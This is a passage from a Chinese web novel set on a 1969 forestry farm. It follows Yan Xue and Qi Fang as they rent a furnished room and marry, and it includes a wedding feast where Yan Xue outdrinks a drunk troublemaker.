看这热情程度,应该是没认出来她,或者是只听过她的名字,压根和人对不上,不然绝不可能还叫她进去。
严雪正要拒绝,祁放已经开了口,“我俩还没商量好,只是从这路过。”
“都走到这儿了就顺便进去看看。”对方热情不减,“我家这房子可是近几年才盖的,你上别的地儿去找,绝对找不到这么好的。”
关键别人结婚都自己盖,单身职工也有大宿舍,上别的地儿去找,也找不到人想租房。
严雪看得分明,“改天吧,今天太晚了。再说我们这还有事,也没有时间。”
她笑盈盈说完,便要走,然而里面王家人已经听到了动静,“要租房子的人来了?”
王老头叼着个烟带推开门,一见是严雪,立马来了个变脸,“我当是谁呢,原来是给老刘家捧臭脚的。”
先出来那女人显然有些搞不清状况,老头儿也不解释,斜眼一扫祁放,“咋的?老刘家卫国没跟成,换人了?”
开口就是造黄瑶,显然并不像严雪所说,只有一点不愉快。
祁放看了严雪一眼,下一秒,目光就落在了王老头身上,“捧臭脚?您吗?”
语气淡淡的,脸上也没什么表情,好像真的只是在发问,但就是特别气人,毕竟王家的确没少跟着刘家蹭吃蹭喝。
果然王老头脸色立马不好了,严雪赶忙拉拉祁放,“乱说什么呢?人家好歹也是长辈。”
这句“人家好歹也是长辈”,和“瞎说什么大实话”也没啥区别,王老头那脸瞬间更黑了。
毕竟是在人家门口,严雪也没想真把人气出个好歹,说完就拉着祁放走了。
走出老远,还能听到王老头无能狂怒的声音,“就她还想租我的房子,给我一百我也不租给她,让她睡大街去吧!”
还训自家儿媳妇,“你这都找的些啥人?”
被儿媳妇低声说了句:“别人也不租房子。”气得声音更大了。
严雪没仔细听,一共才找到两处房,这就少了一处,总不能真去租李树武家吧?
虽然相比之下,她跟李树武家的确没什么过节。
“就没有其他地方了吗?”
她想再跟祁放确认一下,一转头,才发现男人一直眼帘低垂,盯着她的手。
而她的手,正大喇喇地揪在人家袖子上……
14. 结婚
如果是几十年后,别说拉个袖子,当众接吻都没人会管,现在却是合法夫妻都得隔着距离走的1969。
严雪飞快缩了手,“抱歉。”
话出口,又觉得这样反而像她非礼了人家,又转移话题,“实在不行,咱们就跟招待所商量商量。”
“招待所?”祁放终于从她手上收回视线,慢慢落在她脸上。
“问问他们愿不愿意让咱们便宜点长期租,”严雪说,“虽然房间小了点,也没有厨房,但有人给烧炕烧热水,饭也可以先去食堂吃。将就过这几个月,等天暖和了,就能盖房了。”
这还真是祁放没想过的角度,“我明天再找找,不行就按你说的办。”
那李树武家就不用去看了,两人正要往回走,旁边突然有人问:“你们是要租房子吗?”
严雪循声望去,发现竟然是有过一面之缘的郭大娘,而他们所站之处刚好是郭家附近。
对方是出来倒炉灰的,穿得并不多,严雪赶忙把人扶到大门下避风的地方,“我们是要租房,大娘您有介绍吗?”
郭大娘显然还记得她,“你是那天跟凤英一起来那丫头吧?”
“您说刘大娘吗?”晚辈不好直呼长辈姓名,严雪也只听刘老爷子和刘大牛叫过几次凤英。
“对,她叫黄凤英。我刚听你们说要租房子,你看我家咋样?”
她家?
她家不是有儿子要结婚吗?哪来的房子往外租?
大概猜到严雪在想什么,郭大娘露出苦笑,“我家长安都这样了,这婚哪还能结成?”
虽然没多说,但很显然,女方那边应该是悔婚了。
这让严雪有些沉默。
她想起了自己家,更确切点说是上辈子的自己家。
别说只是订婚,她父母都结婚了,还有了她,她爸出事截肢后,她妈还不是丢下他们爷俩走了?
走前还给她买了棉花糖,送她去学前班,然而等她中午跑回家,看到的就只有冷锅冷灶和两眼哭红的爸爸……
面对苦难,并不是谁都有勇气陪人去走那注定艰辛的一生。
严雪只能安慰对方,“不着急,好饭不怕晚。”又弯起眉眼,“我这可真是好运气,瞌睡了就有人送枕头。”
她这句调侃显然是愿意看看,郭大娘神色稍松,想到什么,又去看祁放。
严雪也在看祁放,男人脸上倒还是那样淡淡的,“现在看行吗?”
“行!当然行!”郭大娘忙把手里的铁锹放进门后,领着两人进去。
郭家的房子原本盖的是三间,东西两间各住着老两口和老大郭长平一家,为了给郭长安结婚,又在东边多接出来一间半。一间作为卧室,半间作为厨房,单独走一个门。
如果郭长安没出事,这几天他就该结婚了,因此里面炕、柜、箱子、桌椅甚至厨房用具一应俱全。
郭家还给新房接了电线,一屋一个电灯泡,静静垂在棚顶。郭大娘拉绳打开,“墙也是刚粉的,你们不用收拾,擦擦灰就能搬进来住。”
时间太紧,租这样的房子的确能给严雪和祁放省不少事,但严雪也能看出老人家为给儿子准备婚事究竟有多用心。
她问郭大娘:“您准备多少钱一个月租?”
这郭大娘以前也没租过,犹豫再三,试探着问:“四块钱一个月行吗?”
怕他们嫌贵,又连忙补充,“我这锅碗瓢盆都是现成的,你们直接用就行,不用再买。”
严雪对这些不了解,干脆看向祁放。
祁放倒没说行不行,目光落在那些锅碗瓢盆上,“这些多少钱买的?”
郭大娘一愣。
严雪倒是隐约明白了些什么,果然男人声线淡淡,“您算个价,我们要了。”
这就是愿意租的意思,不仅愿意租,还愿意要她这些东西。郭大娘终于反应过来,“那、那你等我算算。”
祁放没再说什么,抬步又进了里屋,“这些家具您是打算搬走还是……”
这回郭大娘犹豫了一下,还是狠狠心,“你们要是要,我按折旧价卖给你们。”
长安这婚一退,还不知道啥时候能说上媳妇,东西放着也是变旧的命,还不如卖了,手里有两个钱,也能多点打算。
想到儿子,纵使祁放和严雪当场便交钱定了下来,老太太心里还是忍不住叹气。
倒是祁放在出门后,边走边和严雪说了句:“她家房子不错,东西也新,不止值那个价。”
还是那副没什么情绪的语气,但这人话一向不多,更鲜少评价什么,严雪迅速反应过来,他这是在解释自己为什么买郭家的东西,笑道:“我也觉得挺好的。”
她没那么计较,非得一样样去争去算,在人家正需要用钱的时候跟人讨价还价,何况她曾经还有过相似的际遇。
不过对方嘴上虽这么说,但应该也不只是看在东西划算的份儿上,这一点好像又不是那么基因突变。
听说最后租了郭家的房子,刘大牛媳妇黄凤英也很唏嘘,“她家东西不错,都是好红木打的,花了不少钱呢,可惜碰上这么个事儿。”
说着又摇头,“那姑娘也是,处了大半年,都要结婚了,老郭家长安出事到现在,愣是连个面都没朝,只叫她哥来把婚退了。”
从感情上来说,这的确很难让人理解,更显得无情。
但从理性上来说,既然决定及时止损,就是没顾及两家情面,见不见也没什么区别,见了还容易牵扯不清。
严雪这些见多了,并不想多评论,只望着炕上摊开的棉被,“这就絮好了吗?”
“还差个单子。”黄凤英聊归聊,手下动作可一点没慢,几下将被单缝好,剪掉线,“你看看。”
“大娘您这手可真巧,我都没想到这么快就能做出来,还做得这么好。”严雪摸着棉被,语带惊叹。
黄凤英被夸得心里舒坦,也就忘了之前那点感慨,“你家小祁忙着呢吧?我帮你送过去。”
祁放的确挺忙的,不管五十年前还是五十年后,装修新房和准备结婚都是能把人逼疯的事。哪怕他们房子是租的,家具是捡现成的,婚礼也尽可能简单,但房子照样得收拾,喜酒喜糖喜宴照样得准备。
听说祁放去单位打结婚申请了,顺便去商店买糖和烟酒,黄凤英在炕上放下棉被,“结婚那天的菜你们还差不少吧?”
一说到结婚要用的菜,严雪就想到那天钓鱼的事,忍不住笑道:“是还差不少,我只买到了二十几斤野猪肉,再就是些鸡蛋。”
“那正好,你刘爷爷上山下套子去了,回头我给你送点野鸡野兔子。”
“真的啊?”严雪毫不掩饰惊喜,“‘齐放’可真会找地方住,找了户这么好的人家,又帮着做行李,又帮着准备菜。”
黄凤英被她逗笑了,“我看他最会找媳妇,找了你这么个嘴甜的。”
很会找媳妇的祁放二月十四号那天穿的还是林场的统一制服,里面却换了件深蓝色毛衣,内搭淡蓝色衬衫,显得斯文又挺拔。
几天没露面的刘春彩一大早就过来帮着堵门了,只象征性地为难了两句,就把人放了进来。
招待所不大的小间里,严雪静静坐在炕上,脸上粉黛未施,只扎头发的皮筋外面绑了对红绸子,衬得一张俏脸格外白皙。
祁放刚要去找鞋,她已经瞄向了炕头处叠放整齐的行李。
外面跟着过来接新娘的刘卫国一见,立马叫起来,“哎你们作弊!哪有新娘子帮着新郎作弊的!”
严雪只是笑,低眸间浓密的睫羽微垂,像一幅静谧美好的画报。
祁放不理会众人的调侃,去行李下把鞋子拿出来,回到炕边,却又有瞬间的迟疑。
严雪察觉到,抬起脸看看他,正准备自己伸手,男人已经俯身握住她一只脚,将鞋子套了上去。
他手指骨节修长,反衬得她裹了新袜的脚丫小小一只,随意便能握进掌心。不过也只是轻轻一触,他就将鞋子穿好了,接着是另外一只。
刘卫国从门外进来,已经开始撸袖子,“今天我给你媳妇儿当一回娘家人,以后你可得把我当大舅哥敬着。”
这是事先说好的,严雪没有娘家人,暂时由他和刘春彩代替,刘春彩过来堵门,他过来背新娘。
可人还没靠近炕边,就被祁放侧身挡了下。
“咋啦?反悔啦?”刘卫国笑他。
祁放本只是下意识的动作,闻言一顿,最终还是转过身,亲自将严雪背了起来。
屋内外立时响起口哨声和起哄声,和着外面震天的鞭炮响,一路将新人催出了招待所。
好轻。
祁放只模模糊糊有这一个感觉。
好高。
严雪趴在男人背上,感觉视线都和以前不一样了。
不过没感受太久,场部办公室就到了,他们今天得在这里宣誓、领结婚证。
因为离镇上远,林场这边结婚证都是单位给办的,婚礼主持也成了林场的书记郎中庭,前方墙上还挂了一幅大大的领导人画像。
今年四十来岁的郎书记带上花镜,宣誓前先把两人的户口纸介绍信跟他们核实了一遍,“祁放,男,汉族,1948年11月11日生,户籍所在地:xx省江城市长山县澄水镇金川林场……”
严雪默默在心里算了算,比现在的她大两年零两个月,当然要是和上辈子的她相比,这还是个才上大学没几年的小弟弟。
核实无误,郎书记又拿起严雪那份,“严雪,女,汉族,1951年1月18日生,户籍所在地:xx省……”
才念到一半,祁放就转眸看了过来,一双桃花眼似有意外,又似有审视。
严雪不解回望,她不觉得自己这户口有什么问题,总不能是生辰八字不好吧?
祁放当然不是觉得她生辰八字不好,事实上,他并没有怎么注意严雪的生日,而是发现严雪的户籍竟然不在燕京。
这让他脑海里闪过许多念头,是为了完成婚约特地改的,还是之前出了什么事早就改了?
总不能此严雪根本就不是和他有娃娃亲的那个严雪吧。
就算世间有重名,也不可能这么巧碰上,更不可能两个人都彼此认错,哪来那么多完美的巧合?
不等严雪疑惑更深,他已经收回视线,仿佛刚刚只是不经意一瞥。
严雪也就暂时把这事抛到脑后,配合郎书记宣誓完,又看着郎书记在一张奖状似的彩纸上盖上公章,递给他们,“恭喜你们,正式成为革命夫妻。”
两辈子第一张结婚证就这么新鲜出炉,说实话,比后来那个小红本简陋多了。
不过既是第一张,也是目前唯一的一张,严雪还是接过来看了看,然后这一看,人便愣了下。
祁放,姓祁?
她那个相亲对象不是姓齐吗??
第 15-16 章
要说“祁”这个姓,严雪可比“齐”还要熟悉。
主要她看那本小说里,手拿退婚流剧本,把和她同名的女配整得要生要死的那位大佬就姓祁。
人家的人生可比她精彩多了,比她两辈子加起来还跌宕起伏。
十八岁之前,他家世显赫,父亲身居高位,自己也是出了名的天才少年,十四岁就考上了名校的机械工程专业。
十八岁,别人刚开始迈入大学校园的年纪,他已经毕业,并在命运的捉弄下彻底坠落。
老师出事,家里出事,一件件打得他措手不及,丧家犬似的在外流落十几年,几乎被人完全遗忘。又在改革开放后凭着头脑和手腕重新返回山巅,像一个令人胆寒的复仇使者,将别人欠他的一一讨回。
那本书里他虽然不是主角,却有大半精彩情节都围绕他展开,算是非常有血有肉的一个悲情角色。
不过人家大佬他不叫祁放,叫祁景纾。
就是大佬他好像也有双冷淡的桃花眼来着……
严雪对着结婚证愣了足足好几秒,抬眼问男人:“你没有其他名字吧?”
“没。”祁放扣着帽子看了眼她,似是疑惑她为什么这么问。
严雪当然不能说什么大佬什么穿书,“我就是问问,万一你还有个曾用名什么的,省的弄错。”
看来跟那本书的确没什么关系,她就说全书就一个人和她名字一样,还跟她八竿子打不着。
不过怎么是这个祁放?
严雪忍不住又去看男人,“你有一米八吧?”
祁放手都搭上门把手了,闻言一顿,干脆整个人都转过来,“没量过。”
被那双深邃的桃花眼盯着,严雪总有种在被什么静静窥视的感觉。
她赶忙伸手在对方下巴下比了下,“我猜肯定有了,我才到你这。”
身高对得上,长相对得上,工作和所在林场也对得上,看来是她先入为主,以为单秋芳说的是齐了。
这可真是,都领完结婚证了才知道老公到底姓啥……
严雪这种脸皮在市场磨练出来的,都下意识摸了下鼻子,才如常将结婚证递给身边的男人。
“你拿着吧。”祁放并没有接,眼神也依旧淡淡凝在她脸上。
严雪也知道自己刚刚那两问有点突兀了,但她又不能直接问你知道祁景纾吗,我是不是找错人了?
那样不仅更突兀,还容易被怀疑脑子有病。
还好外面的刘卫国已经等不及了,推门进来问:“好了没有?我们这可都等着开席呢。”
“好了好了。”
严雪赶忙应一声,祁放也敛眸收回了视线。
刘卫国立马笑着撺掇其他人,“叫你们早上别吃饭,都没吃吧?”
“哪敢吃啊?你不说今天中午菜老硬了,全是大菜。”
严雪和祁放这场婚宴的菜的确很硬,不仅有那二十多斤野猪肉,刘家后面还送来三只野兔两只树鸡,并一大桶冻得硬邦邦的鱼。别说结个婚,等他们结完,再过个年都够了。
东西严雪全按市价给了钱,刘卫国过来送鱼的时候还特地强调,“看好了,这才是我的真实水平,那天不能算。”
对那天的事显然还耿耿于怀,就是不知道对其他事有没有也耿耿于怀了。
野猪肉不好烂,黄凤英昨天就过来帮着烀上了,今天又一大早过来,和隔壁郭大娘一共开了三个灶。
树鸡和蘑菇是最经典的搭配,兔子肉土腥味重,下重料炖了土豆,鱼则用酱酱了出来。
因为大多数都是炖菜,几个大锅全占着,刘春彩过来后就蹲在锅边帮着看火。
严雪招呼完客人,出来塞了把瓜子给她,“我还以为当不成你嫂子,你就不搭理我了。”
“我哪有那么小气?”刘春彩不服,“你那两只树鸡还是我叫我妈给的呢,比野鸡可好吃多了,野鸡肉全都是渣。”
说归说,小姑娘脸还是不可避免红了下。
这几天她的确有点躲着严雪,倒不是生气,主要撮合了半天人家是祁放哥的媳妇,想想她都觉得不自在。
不过之前的感情到底还在,瞅眼旁边没人,她妈也到隔壁帮着端菜去了,她压低声音凑近严雪,“严雪姐,做新娘子什么感觉啊?”
终究是孩子,对这些事好奇得不得了,何况她也没比严雪小几岁。
“这个啊。”严雪歪了头做沉思状。
“怎么样?到底怎么样?”小姑娘一叠声催促。
严雪被那双亮亮的眼睛看了会儿,实话实说:“其实挺累的,你又不是没看到。”
“就这样吗?”刘春彩大失所望。
当然不只是这样,白天那都是给外人看的,晚上还有一场重头戏,就不是她这种未成年该知道的了。
严雪从旁边做好的菜里捡了块肉给她,“小孩子家家,少问那么多。”
“我哪是小孩子?我虚岁都十六了。”刘春彩被塞得口齿不清,依旧边快速咀嚼边警惕地看着四周强调。
这模样小仓鼠似的,严雪看得更想笑,“嗯,你能干得很,一会儿开席让你也上桌喝两杯。”
这边规矩其实没那么多,小孩子能不能上桌吃饭,主要取决于桌子够不够大,主桌能不能坐下。
如果坐不下,就只能另开一桌,大人们要喝酒,孩子也通常没那个耐心陪着,坚持不到散席就吃完跑出去玩了。
严雪结婚人来得本就不多,一桌刚好能装下,便没另开,不过喝两杯那纯粹是玩笑话。
没想到刘春彩这个未成年不能喝,祁放这个新郎官竟然也不胜酒力。
一开始严雪还没太注意,只觉得祁放那身冷淡气质跟这满屋喜庆实在不搭,就连刘卫国几个都没怎么给他灌酒。
后来发现不是不想灌,是不太敢灌。
不过举了两次杯,红意就从他的脖颈蔓延上了脸颊,将冷白的皮肤晕成绯色。就连那双向来清冷的桃花眼也多了几分水润,定定看人的时候,里面像有千言万语,偏偏表情还是一如既往的寡淡。
刘春彩不小心对上一眼,眼都瞪直了,被自家亲哥在脑袋上拍了下,才想起来吃饭。
严雪离得近,看得更加清楚,甚至能嗅到男人呼吸间的酒香,不禁担心,“你这不是酒精过敏吧?”
“没事。”祁放声音还是稳的,只抬手松了松衬衫领口。
这一松,连领口里露出的喉结都是红的,严雪干脆把他的酒杯拿走,“我看你还是别喝了。”起身去给他倒了杯温水。
刘卫国几个也不敢劝,还帮着打圆场,“都是熟人,谁不知道你不能喝,意思意思得了。”
“就是,别真喝多了,到时候使不上劲儿。”
到底什么使不上劲儿,众人一阵了然的笑。
“我妹还在呢,注意点儿!”刘卫国朝对方踢了一脚,又看刘春彩,“吃你的,别听他们瞎扯淡。”
刘春彩没说话,埋着头努力扒饭,但一双眼睛在下面咕噜直转,显然并不怎么老实。
见树鸡炖蘑菇下得有些快,黄凤英正要起身,严雪先一步端起了盛菜的小盆,“大娘您坐着,今天都为我们忙一天了。”自己去了厨房。
立马有人冲祁放挤眉弄眼,“你小子不地道啊,明明是媳妇儿,非跟我们说是妹子,骗了我们好几声哥。”
严雪也是后来才知道,这些人里面就祁放年龄最小,之前一口一个咱哥,分明是存了别的心思。
她把菜盛好,刚要端进屋,堂屋门被人大力一拉,一个醉醺醺的声音闯了进来,“祁放你小子结婚,咋不请我喝喜酒?”
说话时舌头都有些直,显然喝了不少,言语间也满是不善。
黄凤英就坐在门边,一听赶忙出来,“怪我怪我,都是我给忙忘了。”立即给严雪使眼色,“这是于场长家勇志,你还没见过吧?”
特地点出来人的身份,显然是怕严雪不懂,一不小心把对方给得罪了。大喜的日子,真闹出点什么也晦气。
严雪比她想象中反应更快,已经笑脸相迎,“原来是于哥,请进请进。”
于勇志却显然是来找茬的,“我不跟娘们儿说话!”手用力一扒拉,径直往里走,“都是一个工队的,祁放你请他们不请我,瞧不起我咋的?”
严雪端着菜跟进去,他已经一掌拍在了饭桌上,就那么凑近了问祁放。
几个工友都开始皱眉了,碍于场合又不得不出来打圆场。
于勇志谁的面子都不给,不管怎么说,酒瓶子往身前一提溜,非让祁放给他罚两杯。
这年代还没有玻璃杯,用的都是带盖的搪瓷缸子,一套六个,中间带一个凉水壶,大的能有一斤半,小的也得六七两。就他们桌上这五十来度的散炮儿,别说两杯了,一杯下去都没几个人能顶住。
祁放倒是不慌不忙,“不急,这酒可能不够,我让卫国再去买点,你先坐下来吃菜。”
起身去给对方拿筷子,走到门口,却回头看了刘卫国一眼。
刘卫国会意,立马去炕边拿衣服,“对,这点儿哪够于哥的海量,我再去打一斤。”
脚才迈出里屋,就听到祁放冷静的声音,“你去趟于场长家,就说于勇志在我这喝喜酒。”
于勇志和他关系怎么样,好没好到能来喝他的喜酒,于场长不可能不清楚。
那人虽然很护短,但多少还要点脸,不可能让于勇志真在这大闹一通,成为林场年前年后最大的谈资。
见刘卫国点头,祁放不紧不慢又加了句:“顺便问问于场长他之前是在哪喝的。”
刘卫国又不傻,一听立马反应过来,“你怀疑他是被人撺掇的?”
“也不一定,”祁放说,“但要是在家喝的,于场长不能让他就这样出来。”
刘卫国想想对方之前喝醉酒干出那几样事,点头,“那我走了,你自己悠着点儿。”
话刚落,里面已经嚷起来,“人呢?趁机跑了吗?”
祁放回去,把拿来的碗筷放在于勇志面前,还另涮了个缸子给他倒了半缸白酒。
这让于勇志脸色好了不少,甚至隐有得意,“早怎么不这么上道?谁空出来的位子都敢接,还成天摆着张臭脸,半死不活的给谁看呢?”
话实在说得难听,不免有人想拿酒堵他的嘴,“平时想跟于哥喝顿酒也不容易,来,咱哥俩走一个。”
谁知这话哪里刺激到了于勇志的神经,他当场翻脸,“就你也配!让祁放陪我喝!”
简直不拿人的脸当脸,见对方面色不好,甚至眼珠子一瞪,“让他陪我喝没听到吗?”作势就要去掀桌子。
这可是大喜的日子,要是让他掀了,什么喜事都得变成糟心事。
祁放蹙眉压住桌角,掀起眼正要说什么,有只小手比他更快,已经拿过酒瓶倒了半杯在搪瓷缸子里。
“还是我陪哥喝一杯吧。”
严雪笑盈盈的,还特地歪了下杯,给对方看里面足足装了半杯的酒液。
谁也没想到她会开口,更没人想到她会主动提出跟对方喝酒。
黄凤英和刘春彩脸上都露出了担忧,祁放更是直接伸手去拿缸子,皱眉,“还是我来吧。”
“没事,要是我这个小酒量的不行,你这个酒量好的再上。”
严雪换了只手拿缸子,刚空出来那只还在祁放手上一捏。
不同于那次拉袖子还隔着厚厚的手套,她指腹略有薄茧,骨却是软的,轻轻柔柔一触即离。祁放微顿,缸子已被她夺走,举起来敬到了于勇志面前,“我这个新娘子总配和哥喝一杯吧?我今天还没陪人喝过呢。”
声甜脸蛋儿更甜,尤其是笑起来,星辰都会醉在她弯弯的眸光里。
于勇志本想拒绝的,但严雪敬酒的姿态摆得很低,面子给得足足的,说话也好听,于是端着架子喝了一口。
没想到严雪提起搪瓷缸子,一口气把半缸子白酒全干了,干完朝众人一翻缸。
别说在场其他人,于勇志这个酒篓子都懵了下,更不提祁放了,望着人眼里深得看不见底。
严雪却仿佛感觉不到,手背潇洒一抹嘴,像是这才看到于勇志缸子里几乎没怎么少的酒量,诧异道:“于哥你没喝吗?”
这让于勇志怎么答?人家女同志都干了他才喝了一口?
而且祁放这小媳妇长得娇娇小小,笑起来也甜美可人没什么攻击性,怎么三两的白酒说干就干?
于勇志握着酒杯一时有些尴尬,严雪还跟完全不知道似的,“我一个娘们儿都干了,于哥一口不喝,是不是瞧不起我啊?”
没人知道于勇志还记不记得自己进门时那句“我不跟娘们儿说话”,但他的确是被严雪这番话给架起来了。
人家娘们儿都能干,你不能,你是不是连个娘们儿都不如?
于勇志咬咬牙,端起缸子也全干了。
“于哥敞亮!”严雪立即大声赞了句,一双眼睛亮亮的像能闪出光来。
也不知道是不是酒精的作用,于勇志有点飘飘然,同时又在心里暗松了一口气,好歹是把这小媳妇糊弄过去了。
结果严雪提起酒瓶,又给两人各自倒了半杯,“这杯谢于哥来参加我跟祁放的婚礼,我干了,你随意。”
说着头一扬,缸子再次见底。
饶是于勇志自诩酒量不错,连着两半缸加起来六七两,也没一口气全喝过。
他的手有些迟疑,也就在这时,斜对面的祁放看了过来,“于哥你要是喝不动了,换成水也行。”
说着还站起身,竟似要真的去给他倒水。
其他人也反应过来,纷纷劝:“就是,于哥你这脸都红了,少喝点行。”
“她一个小娘们儿虎,咱不跟她一般见识,喝点意思意思得了。”
于勇志就是来下人面子的,哪能被人下了面子,立即被激得端起杯,“谁说我喝不动了?”
刘卫国紧赶慢赶,几乎是一路小跑回来的,就怕这边真闹出什么没办法收场。
结果开了堂屋门往里走,里面竟然一点没闹起来。不仅没闹,比于勇志来之前还要安静几分。
不会是已经打过一场,彻底散了吧?
他又加快了脚步,迈过门槛,看到的却是满屋子富强民主文明和谐。
刘春彩面前的饭碗已经空了,不知道是不是吃得太饱犯困,人坐在那,眼神却放空得仿佛灵魂已经飘走。剩下几个倒还在推杯换盏,行动间却小心多了,害他担心不已的于勇志更是已经倒在了炕上,闭着眼人事不省……
他脚步在门边顿住,惊讶地指指炕上的于勇志,用气声,“他这是睡着了?”
“你正常说话没事,他醉死过去了,听不着。”
回答他的是严雪。
他下意识松了口气,松完又觉得哪里不对,“你们合伙把他灌倒了?这么快?”
于勇志这酒篓子量可不小,真敞开了喝,最少半斤起步。几人轮番上,也得费一番功夫。
结果桌上竟然沉默了下,还是刘春彩带着点恍惚开的口,“不是,严雪姐把他喝倒的,一个人。”
严雪?祁放那小媳妇?
刘卫国一愣,那边刘春彩已经接着往外丢炸弹,“一连两个半缸,六两多,全一口气干的,然后他就那样了。”
一指炕上的于勇志,“当时他还想硬撑,结果人栽下去,差点把桌子砸了,还是祁放哥手快扶了把。”
这回别说刘春彩,刘卫国都觉得自己有点恍惚,不然咋能听到这么荒谬的事情……
看向桌上其他人求证,其他人神色都有些怪异,只有严雪红格纹上衣衬着脸上一点恰到好处的薄粉,气色特别不错。
身形娇小的年轻姑娘一点醉意也无,还笑盈盈问他:“酒打回来了?”
这是真问酒呢,还是祁放已经告诉她了?
刘卫国瞄一眼祁放,发现祁放单肘支在桌沿,正侧了眸看严雪,脸上辨不出情绪。
严雪倒似没察觉他们间的眉眼官司,又补充了句:“刚才着急,酒钱我们还没给。”
看来是自己想多了,刘卫国笑起来,“我哪是去买酒?祁放让我通风报信去了。人一会儿就到,我不放心,先回来看看。”
通风报信?给谁通风报信?
众人还没反应过来,外面门一响,林场二把手于场长已经到了。
这人严雪在山上时远远见过,下三白眼,眉心皱纹深刻,看面相不像是什么好相与的,看行为也不像。
要换了一般人,儿子喝醉酒去人家婚宴闹事,总该多少表示一下歉意,哪怕心里并不觉得怎么抱歉。他沉着脸进来,却是第一句话就问儿子:“勇志呢?”不知道的还以为他是来兴师问罪的。
黄凤英作为在场唯一和他同辈的主动站起身,“勇志喝上酒睡着了,睡了有一会儿了。”
于场长已经看到了炕上不省人事的儿子,“怎么喝成这样?”
没人正面回答,全在那打着哈哈让他劝于勇志以后少喝点,过来帮他扶人。
于勇志显然是真醉死过去了,被人又叫又搬也不醒,于场长没办法,只能叫个人帮他一起扛回去。
于是刘卫国大衣刚脱下来又重新穿上,人既然是他去请的,干脆再送佛送到西,帮着把于勇志送回去。
没想到才走没两分钟,气氛都还没恢复,刘卫国又跑了回来,“有没有抹布给我一个,于勇志吐了,吐了他爸一身。”
这还真是会选地方,估计于场长的脸色要更难看了。
冬天天短,林场这边都习惯吃两顿饭,婚酒虽然是中午办的,却陆陆续续喝到下午三点多才散。
祁放喝得少,还算清醒,和刘卫国把几个有点喝多的人送回去,严雪则跟黄凤英、刘春彩收拾饭桌,这才弄清楚于勇志这出是怎么回事。
于勇志和祁放这点过节,原因其实不在祁放。
于勇志之前一直是做锯手助手的,因为有个当林场场长的爹,还去镇林业局参加过一次培训,结果喝酒误事没拿到证。
不过这也不算什么大事,等过个一年两年再重新参加就是。谁知他死性不改,上面下来检查的时候,又喝多了当众耍起了酒疯。
结果可想而知,连锯手助手的位置他都没保住,像拖拉机手、绞盘手这类高工资的好活他以后也别想了。
祁放就是他被撸下去后,由工队长刘大牛推荐上来的,自然被他看不顺眼,只觉得祁放是顶了自己的位置。更别提还有人私下议论说总算换人了,他们工队效率都提升了,就连他跟了两年的锯手师傅都对祁放脸色更好。
“他就这样,一喝酒就犯病,他妈都拦不住。你不用搭理他,他也就这点能耐了。”黄凤英对严雪说。
严雪点点头,酒后无德的人很多,这种从不反省自身,只把过错推给别人的也并不少见,她的确犯不着和对方生气。
既然说起于勇志,黄凤英忍不住又看了看严雪的脸色,“你要不要回屋躺一会儿?”
“我没事。”严雪刚接了个头,祁放和刘卫国送完人回来了。
“这帮小子酒量真差,还没有你媳妇能喝。”
刘卫国进门的时候还在说。
祁放没接这话,进去脱了棉衣,撸起衣袖接过了黄凤英手里的活,“您回去歇着吧,为我和严雪结婚都忙一天了。”
的确已经收拾得差不多了,黄凤英就捶捶肩,“行,你们慢慢弄,我和卫国春彩先回去了。”
严雪动作飞快,立马盛了两小盆菜给他们,“都是之前没动过的,我们也吃不完,您拿回去,省的再做。”
后天就是除夕,剩菜太多的确吃不完,黄凤英就没和她客气,“明天我把盆刷干净给你送回来。”
刘家人一走,热闹了一整天的小屋终于安静下来,只剩祁放收拾东西的声音,意外并不显得如何笨拙。
严雪走过去正要帮他一起弄,男人抬眸看了她一眼,“你进去躺会儿。”——
祁放:不知道你清不清楚,人是可以改名的。
严雪:……
PS:本章依旧有99个小红包~
PPS:饲养、贩卖、食用野生动物都是不正确的行为,本文特殊年代特殊对待,作者并不提倡。
婚夜
现在没有外人了,严雪的确可以进屋去躺一会儿。
就是没想到祁放会选择自己收拾,让她回去休息,毕竟说好了家务他暂时可以不做的。
严雪一时没动,祁放察觉,放下手里刚擦好的盆,“你不是喝酒了?”
表情还是很冷淡,严雪弯眸笑了笑,“我没什么事,估量好了对方来之前喝过,肯定喝不了多少才端杯的。”
她又不是真虎,一点把握都没有就敢上去跟人拼酒。
上辈子那会儿女性可比现在容易在酒桌上出事多了,一般都不轻易端杯的,只要敢端,至少也是七八两起步的量。
祁放闻言,垂下视线继续收拾,“其实你可以不用喝。”
这让严雪不动声色挑了挑眉,“怎么?让媳妇儿出头,伤你面子啦?”
像是在开他玩笑,但到底是不是玩笑,或许只有她自己知道。
祁放又看了她一眼,什么都没说,起身将东西放进碗柜,“我就是觉得还有其他解决方法。”
的确还有其他解决方法,但她从来不是能一无所知等着别人来解决问题的人。
严雪笑盈盈的,“这个不是最快吗?我又不知道你已经让春彩她哥去找人了。”
直接把人喝趴下的确更快,也更简单高效,至于她说她不知道……
说她不知道他具体做了什么他信,说她不知道他有应对那就未必了。
祁放目光落在那张含笑的俏脸上半晌,最终只是道:“你回去歇着吧。”
等都收拾完,天已经完全黑透,祁放放下袖子走进里屋,炕上一个娇小的身影正枕着手侧身趴着。
黑暗中看不清她的面庞,人却小小一团,稍一错眼,甚至会误认成半大的孩子,完全看不出能一口气把个酒量不错的大男人喝趴。
祁放脚步顿了下,没有去开灯,炕上的严雪却睁开眼,回身看来,“都收拾完了?”声音里还有未散的睡意。
他“嗯”了声。
那边严雪动了动,嗓音已经清晰许多,“你说于勇志是怎么知道咱们今天结婚的?还直接找了过来。”
看似随口一问,却一问就问到了点子上。
祁放结婚并不张扬,统共也没请上几个人,消息哪传得那么开?
就算于勇志一直盯着他想找茬,也不该选在这种时候,毕竟今天这边人多,真闹得他们不顾晦气动起手,还不知道是谁吃亏。
见她不睡了,祁放伸手拉了灯线,“卫国去请人的时候,我让他顺便问问于勇志之前是在哪喝的。”
暖黄的灯光水一样铺展开,严雪下意识闭起眼,觉得这个问题问得实在是妙。
重点不在于于场长那到底能不能问出来,而是告诉于场长有人撺掇他儿子。毕竟林场就这么大,又不是什么秘密,他不说,他们也有办法知道。
果然她一问,于场长跟刘卫国说他也不清楚,但祁放和她讲这些的时候,面上一点不见失望。
严雪笑起来,“你跟春彩她哥没少说啊,看来我明天得出去打听打听他是在哪喝的。”
“不用打听,”祁放却淡淡说,“卫国藏不住话。”
言下之意刘卫国肯定会去打听,而只要他知道了,他们也就知道了,他这个在林场长大的还比他们跟林场的人更熟。
想想当初她上山去找祁放相亲,的确是刘卫国回来拿完东西,一出门消息就传得到处都是……
严雪有些无语,“你对身边的人还挺了解的。”
很了解身边的人吗?
